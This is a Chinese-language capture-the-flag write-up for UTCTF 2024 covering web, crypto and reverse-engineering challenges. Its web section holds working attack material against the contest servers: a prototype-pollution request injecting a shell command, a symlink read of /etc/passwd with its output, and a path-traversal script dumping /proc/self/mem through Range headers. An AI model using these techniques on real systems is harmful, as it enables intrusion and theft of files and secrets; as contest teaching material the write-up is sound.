长亭百川云 - 文章详情

UTCTF2024 WriteUp By Mini-Venom

ChaMd5安全团队

46

2024-07-13

招新小广告CTF组诚招re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱

admin@chamd5.org(带上简历和想加入的小组

Web

Easy Mergers v0.1

POST /api/absorbCompany/2 HTTP/1.1 Host: guppy.utctf.live:8725 Accept: */* Accept-Encoding: identity Accept-Language: zh-CN,zh;q=0.9 Content-Length: 37 Content-Type: application/json Cookie: connect.sid=s%3A2Pg-Z6Ptae78uzMfAGEO2LQyaBUZF6yl.kVN2lVXSTr3ZQOOlz3L5K3Lbq%2BsPH7%2FyKZD25YRlTGk Origin: http://guppy.utctf.live:8725 Referer: http://guppy.utctf.live:8725/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 {"attributes":["__proto__"],"values":[{"cmd":"cat flag.txt"}]}

Schrödinger

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:104::/nonexistent:/usr/sbin/nologin systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin sshd:x:105:65534::/run/sshd:/usr/sbin/nologin copenhagen:x:1000:1000::/home/copenhagen:/bin/sh

构造软连接先读/etc/passwd
flag在目录/home/copenhagen/flag.txt
Here are the contents!!!
---------------aa---------------

Home on the Range

Range请求头
但是好像没什么用,就是和题目名挺吻合的。
目录遍历

from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer import os from html import escape from mimetypes import guess_type import re from random import randbytes import signal import sys import threading with open("/setup/flag.txt") as f:     the_flag = f.read() os.remove("/setup/flag.txt") def process_range_request(ranges, content_type, file_len, write_header, write_bytes, write_file_range):     boundary = randbytes(64).hex()     for [first, last] in (ranges if ranges != [] else [[None, None]]):         count = None         if first is None:             if last is None:                 first = 0             else:                 first = file_len - last                 count = last         elif last is not None:             count = last - first + 1         if (count is not None and count < 0) or first < 0:             return False                  content_range_header = "bytes " + str(first) + "-" + (str(first + count - 1 if count is not None else file_len - 1)) + "/" + str(file_len)         if len(ranges) > 1:             write_bytes(b"\r\n--" + boundary.encode())             if content_type:                 write_bytes(b"\r\nContent-Type: " + content_type.encode())             write_bytes(b"\r\nContent-Range: " + content_range_header.encode())             write_bytes(b"\r\n\r\n")         else:             if content_type:                 write_header("Content-Type", content_type)             if len(ranges) > 0:                 write_header("Content-Range", content_range_header)         if not write_file_range(first, count):             return False     if len(ranges) > 1:         write_bytes(b"\r\n--" + boundary.encode() + b"--\r\n")         write_header("Content-Type", "multipart/byteranges; boundary=" + boundary)     elif len(ranges) == 0:         write_header("Accept-Ranges", "bytes")     return True class Handler(BaseHTTPRequestHandler):     def do_GET(self):         return self.try_serve_file(self.path[1:])     def try_serve_file(self, f):         if f == "":             f = "."         try:             status_code = 200             range_match = re.match("^bytes=\\d*-\\d*(, *\\d*-\\d*)*$", self.headers.get("range", "none"))             ranges = []             if range_match:                 status_code = 206                 ranges = []                 for range in self.headers.get("range").split("=")[1].split(", "):                     left, right = range.split("-")                     new_range = [None, None]                     if left:                         new_range[0] = int(left)                     if right:                         new_range[1] = int(right)                     if not left and not right:                         # invalid                         ranges = [[None, None]]                         break                     ranges.append(new_range)             self.log_message("Serving %s ranges %s", f, repr(ranges))             (content_type, _) = guess_type(f)             with open(f, "rb") as io:                 file_length = os.stat(f).st_size                 headers = []                 chunks = []                 def check_file_chunk(first, count):                     if count is None:                         if first < 0:                             return False                         io.seek(first)                         if io.read(1) == b"":                             return False                     else:                         if count <= 0 or first < 0:                             return False                         io.seek(first + count - 1)                         if io.read(1) == b"":                             return False                     chunks.append({"type": "file", "first": first, "count": count})                     return True                 ok = process_range_request(ranges, content_type, file_length,                                            lambda k, v: headers.append((k, v)),                                            lambda b: chunks.append({"type": "bytes", "bytes": b}),                                            check_file_chunk)                 if not ok:                     self.send_response(416)                     self.send_header("Content-Range", "bytes */" + str(file_length))                     self.end_headers()                     return                                  content_length = 0                 for chunk in chunks:                     if chunk["type"] == "bytes":                         content_length += len(chunk["bytes"])                     elif chunk["type"] == "file":                         content_length += chunk["count"] if chunk["count"] is not None else file_length - chunk["first"]                                  self.send_response(status_code)                 for (k, v) in headers:                     self.send_header(k, v)                 self.send_header("Content-Length", str(content_length))                 self.end_headers()                 for chunk in chunks:                     if chunk["type"] == "bytes":                         self.wfile.write(chunk["bytes"])                     elif chunk["type"] == "file":                         io.seek(chunk["first"])                         count = chunk["count"]                         buf_size = 1024 * 1024                         while count is None or count > 0:                             chunk = io.read(min(count if count is not None else buf_size, buf_size))                             self.wfile.write(chunk)                             if count is not None:                                 count -= len(chunk)                             if len(chunk) == 0:                                 break         except FileNotFoundError:             print(f)             self.send_error(404)         except IsADirectoryError:             if not f.endswith("/") and f != ".":                 self.send_response(303)                 self.send_header("Location", "/" + f + "/")                 self.end_headers()             elif os.path.isfile(f + "/index.html"):                 return self.try_serve_file(f + "/index.html")             else:                 dir_name = os.path.basename(os.path.abspath(f))                 if dir_name == "":                     dir_name = "/"                 body = (                     "<!DOCTYPE html><html><head><title>Directory listing of "                         + escape(dir_name)                         + "</title><body><h1>Directory listing of " + escape(dir_name) + "</h1><ul>"                         + "".join(["<li><a href=\"" + escape(child, quote=True) + "\">" + escape(child) + "</a></li>" for child in os.listdir(f)])                         + "</ul></body></html>"                     ).encode("utf-8")                 self.send_response(200)                 self.send_header("Content-Type", "text/html; charset=utf-8")                 self.end_headers()                 self.wfile.write(body)                 pass         except OSError as e:             self.send_error(500, None, e.strerror) server = ThreadingHTTPServer(("0.0.0.0", 3000), Handler) def exit_handler(signum, frame):     sys.stderr.write("Received SIGTERM\n")     # Needs to run in another thread to avoid blocking the main thread     def shutdown_server():         server.shutdown()     shutdown_thread = threading.Thread(target=shutdown_server)     shutdown_thread.start() signal.signal(signal.SIGTERM, exit_handler) sys.stderr.write("Server ready\n") server.serve_forever() with open("/setup/flag.txt", "w") as f:     f.write(the_flag)

最后那个signal.SIGTERM应该是题目重启的逻辑,跟解题没关系
从/proc/self/maps来获取堆栈分布,根据堆的偏移爆破mem

# -*- coding:utf-8 -*- import requests import re from tqdm import tqdm from urllib.parse import quote baseUrl = "http://guppy.utctf.live:7884/" headers = {     "Range":"bytes=40000-42000" } result = [] if __name__ == "__main__":     url = baseUrl + "%2e%2e/%2e%2e/proc/self/maps"     print(url)     memInfoList = requests.get(url,headers=headers).text.split("\n")     mem = ""     print(memInfoList)     for i in tqdm(memInfoList):         memAddress = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i)         if memAddress:             start = int(memAddress.group(1), 16)             end = int(memAddress.group(2), 16)             result.append([start,end])             infoUrl = baseUrl + "%2e%2e/%2e%2e/proc/self/mem"             newHeaders = {                 "Range":f"bytes={start}-{end}"             }             mem = requests.get(infoUrl,headers=newHeaders).text             print(mem)             if "utflag" in mem:                 print("find it")                 print(newHeaders)                 break

flag在最后 find it {'Range': 'bytes=124163915821056-124163919962112'}

Beginner: Off-Brand Cookie Clicker

控制台输入:

fetch('/click', {                         method: 'POST',                         headers: {                             'Content-Type': 'application/x-www-form-urlencoded'                         },                         body: 'count=' + 10000000000                     })                     .then(response => response.json())                     .then(data => {                         alert(data.flag);                     });

Crypto

RSA-256

直接分解n完事
用factordb网站直接分解得到p和q,脚本如下:

from Crypto.Util.number import * p=1025252665848145091840062845209085931 q=75575216771551332467177108987001026743883 N = 77483692467084448965814418730866278616923517800664484047176015901835675610073 e = 65537 c = 43711206624343807006656378470987868686365943634542525258065694164173101323321 phi=(p-1)*(q-1) d=inverse_mod(e,phi) print(long_to_bytes(int(pow(c,d,N)))) #b'utflag{just_send_plaintext}'

numbers go brrr

get_random_number()中将这一次的seed进行加密后作为下一次的seed,也就是只要知道初始的seed就能得到key
并且对message加密的最后一次的seed作为给flag加密的初始seed。
由于seed的范围在10**6内,是可以通过爆破得到message的初始seed。
通过message的初始seed,进而算出flag的初始seed,从而得到对flag加密的key,然后就是aes解密了。
脚本如下:

from Crypto.Cipher import AES from Crypto.Util.Padding import pad from Crypto.Util.number import * from tqdm import * def get_random_number():     global seed     seed = int(str(seed * seed).zfill(12)[3:9])     return seed def encrypt(message):     key = b''     for i in range(8):         key += (get_random_number() % (2 ** 16)).to_bytes(2, 'big')     cipher = AES.new(key, AES.MODE_ECB)     ciphertext = cipher.encrypt(pad(message, AES.block_size))     return ciphertext.hex() message = b'a' for i in trange(10**6):     seed = i     if encrypt(message) == 'c4982e7c53d17bbdcdbdb29297454e08':         print(seed)         break key = b'' for i in range(8):     key += (get_random_number() % (2 ** 16)).to_bytes(2, 'big') cipher = AES.new(key, AES.MODE_ECB) c=b'a9f2f48bbd6a641d4eadd07a7d374cd92b08c805e7bc4e942b42a6daf53d02d5294c9de03216444bd66fb6144f26dea2' print(cipher.decrypt(long_to_bytes(int(c,16)))) #890849 #b'utflag{deep_seated_and_recurring_self-doubts}\x03\x03\x03'

Cryptordle

用爆破,就是穷举五个字符,但是要大约七次才能精确猜出答案
另一个发现是answer都是一些单词,可以利用这个
最后先用前五个数据来穷举出所有的可能answer,然后再在里面找正确的单词(这一步用了word文档的拼写检查)
然后成功找到,进行三次拿到flag
脚本如下:

import itertools from string import * alpha_bet=ascii_lowercase strlist = itertools.product(alpha_bet, repeat=5) def judge(guess,answer):     response = 1     for x in range(5):         a = ord(guess[x]) - ord('a')         b = ord(answer[x]) - ord('a')         response = (response * (a - b)) % 31     return response for i in strlist:     answer = i[0] + i[1] + i[2] + i[3] + i[4]     if judge('aaaaa', answer) == 10:         if judge('bbbbb', answer) == 4:             if judge('ccccc', answer) == 22:                 if judge('ddddd', answer) == 25:                     if judge('eeeee', answer) == 9:                         print(answer)

得到这么一大串:

hmsuu hmusu hmuus hsmuu hsumu hsuum humsu humus husmu husum huums huusm mhsuu mhusu mhuus mshuu msuhu msuuh muhsu muhus mushu musuh muuhs muush shmuu shumu shuum smhuu smuhu smuuh suhmu suhum sumhu sumuh suuhm suumh uhmsu uhmus uhsmu uhsum uhums uhusm umhsu umhus umshu umsuh umuhs umush ushmu ushum usmhu usmuh usuhm usumh uuhms uuhsm uumhs uumsh uushm uusmh 

拿去word文档,发现只有humus未标红,即正确答案,同样方式进行三次,拿到flag

bits and pieces

后面两个n2,n3直接gcd(n2,n3)就能成功分解n2,n3得到flag的第二第三部分。
第一部分直接用yafu分解n1得到p1,q1(yafu实在是太强大了)
脚本如下:

n1= 16895844090302140592659203092326754397916615877156418083775983326567262857434286784352755691231372524046947817027609871339779052340298851455825343914565349651333283551138205456284824077873043013595313773956794816682958706482754685120090750397747015038669047713101397337825418638859770626618854997324831793483659910322937454178396049671348919161991562332828398316094938835561259917841140366936226953293604869404280861112141284704018480497443189808649594222983536682286615023646284397886256209485789545675225329069539408667982428192470430204799653602931007107335558965120815430420898506688511671241705574335613090682013 e1= 65537 c1= 7818321254750334008379589501292325137682074322887683915464861106561934924365660251934320703022566522347141167914364318838415147127470950035180892461318743733126352087505518644388733527228841614726465965063829798897019439281915857574681062185664885100301873341937972872093168047018772766147350521571412432577721606426701002748739547026207569446359265024200993747841661884692928926039185964274224841237045619928248330951699007619244530879692563852129885323775823816451787955743942968401187507702618237082254283484203161006940664144806744142758756632646039371103714891470816121641325719797534020540250766889785919814382 n2= 22160567763948492895090996477047180485455524932702696697570991168736807463988465318899280678030104758714228331712868417831523511943197686617200545714707332594532611440360591874484774459472586464202240208125663048882939144024375040954148333792401257005790372881106262295967972148685076689432551379850079201234407868804450612865472429316169948404048708078383285810578598637431494164050174843806035033795105585543061957794162099125273596995686952118842090801867908842775373362066408634559153339824637727686109642585264413233583449179272399592842009933883647300090091041520319428330663770540635256486617825262149407200317 e2= 65537 c2= 19690520754051173647211685164072637555800784045910293368304706863370317909953687036313142136905145035923461684882237012444470624603324950525342723531350867347220681870482876998144413576696234307889695564386378507641438147676387327512816972488162619290220067572175960616418052216207456516160477378246666363877325851823689429475469383672825775159901117234555363911938490115559955086071530659273866145507400856136591391884526718884267990093630051614232280554396776513566245029154917966361698708629039129727327128483243363394841238956869151344974086425362274696045998136718784402364220587942046822063205137520791363319144 n3= 30411521910612406343993844830038303042143033746292579505901870953143975096282414718336718528037226099433670922614061664943892535514165683437199134278311973454116349060301041910849566746140890727885805721657086881479617492719586633881232556353366139554061188176830768575643015098049227964483233358203790768451798571704097416317067159175992894745746804122229684121275771877235870287805477152050742436672871552080666302532175003523693101768152753770024596485981429603734379784791055870925138803002395176578318147445903935688821423158926063921552282638439035914577171715576836189246536239295484699682522744627111615899081 e3= 65537 c3= 17407076170882273876432597038388758264230617761068651657734759714156681119134231664293550430901872572856333330745780794113236587515588367725879684954488698153571665447141528395185542787913364717776209909588729447283115651585815847333568874548696816813748100515388820080812467785181990042664564706242879424162602753729028187519433639583471983065246575409341038859576101783940398158000236250734758549527625716150775997198493235465480875148169558815498752869321570202908633179473348243670372581519248414555681834596365572626822309814663046580083035403339576751500705695598043247593357230327746709126221695232509039271637 #用yafu分解 p1=129984014749130366259742130443330376923069118727641845190136006048911945242427603092160936004682857611235008521722596025476170673607376869837675885556290582081941522328978811710862857253777650447221864279732376499043513950683086803379743964370215090077032772967632331576620201195241241611325672953583711299819 q1=129984014749130366259742130443330376923069118727641845190136006048911945242427603092160936004682857611235008521722596025476170673607376869837675885556290582081941522328978811710862857253777650447221864279732376499043513950683086803379743964370215090077032772967632331576620201195241241611325672953583711295127 phi1 = (p1-1)*(q1-1) d1=inverse_mod(e1,phi1) m1 = long_to_bytes(int(pow(c1,d1,n1))) #gcd解决 p2=p3=gcd(n2,n3) q2=n2/p2 phi2=(p2-1)*(q2-1) d2=inverse_mod(e2,phi2) m2=long_to_bytes(int(pow(c2,d2,n2))) q3=n3/p3 phi3=(p3-1)*(q3-1) d3=inverse_mod(e3,phi3) m3=long_to_bytes(int(pow(c3,d3,n3))) print(m1+m2+m3) #b'utflag{oh_no_it_didnt_work_</3_i_guess_i_can_just_use_standard_libraries_in_the_future}'

simple signature

Welcome to the signature generator! This service generates signatures for nonnegative integer messages. Today's RSA parameters are:  n = 26513666256909537346234842974614985055272114808872859575465682142925156918272427186795011970182151450381367211339083690316182376464452967361419306608676636655740864118248718911375615608259238389060910647926976129117142495601574083106194091932989917398722699350731365804075485118605855632370321333813028938540767909148085850979651604021833144758917874921029219760075758222873555675853223546465885437967642690927791227460701119714776368280912971998732371928438371685265099372319763422130064421929003319053477851089249102838606015992844461271067902948925926428101149872265239163597686826063965509938225348962889469005859 e = 65537 Enter a message (enter 0 to stop): 0 You must request at least one signature. Enter a message (enter 0 to stop): 1 Your signature is: 1 Enter a message (enter 0 to stop): 0 Now, come up with your own pair! Enter a message: 0 Enter a signature: 1 Congrats! Here is the flag: utflag{a1m05t_t3xtb00k_3x3rc153}

numbers go brrr 2

跟numbers go brr 2 思路一模一样,只是说变成了猜key,甚至都用不着250次,一次就能猜中,代码如下:

from Crypto.Cipher import AES from Crypto.Util.Padding import pad from tqdm import * def get_random_number():     global seed     seed = int(str(seed * seed).zfill(12)[3:9])     return seed def encrypt(message):     key = b''     for i in range(8):         key += (get_random_number() % (2 ** 16)).to_bytes(2, 'big')     cipher = AES.new(key, AES.MODE_ECB)     ciphertext = cipher.encrypt(pad(message, AES.block_size))     return ciphertext.hex(),key.hex() message = b'a' for i in trange(10**6):     seed = i     c,key = encrypt(message)     if c == '11eb7c292a3705ffe2b2ff99a0af3885':         print(key)         break

跟上面那题一样,猜三次得到flag: #utflag{ok_you_are_either_really_lucky_or_you_solved_it_as_intended_yay}

Beginner: Anti-dcode.fr

这题由于文本量过大,直接转换文本肯定不太行,将utflag偏移后的数据在文本中搜索,最终发现utflag偏移8位后的数据cbntio在文本中有,用在线网站还原得到utflag{rip_dcode}

Reverse

Fruit Deals

得到了一个表格,得启用一下宏,vba下载链接甩下面了 链接: https://pan.baidu.com/s/13NUAPBZ\_1ZYpi\_9vAtPUrw 提取码: ftsj 然后主要查看module2,module1里面主要就是随机生成两张base64密文的sheet表格 根据判断条件往下走应该就能行

隐藏的两张码表可以从左下角的工作台取消隐藏

经过比较,判断条件里面的值与对应sheet2表格里位置上的一样,所以只需要正向执行一遍代码,最后输出一下f,就能看见flag,即是需要下载的文件名

Beginner: Basic Reversing Problem

直接把每个函数中赋值的ascll码粘出来即可
117 116 102 108 97 103 123 105 95 99 52 110 95 114 51 118 33 125

- END -

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2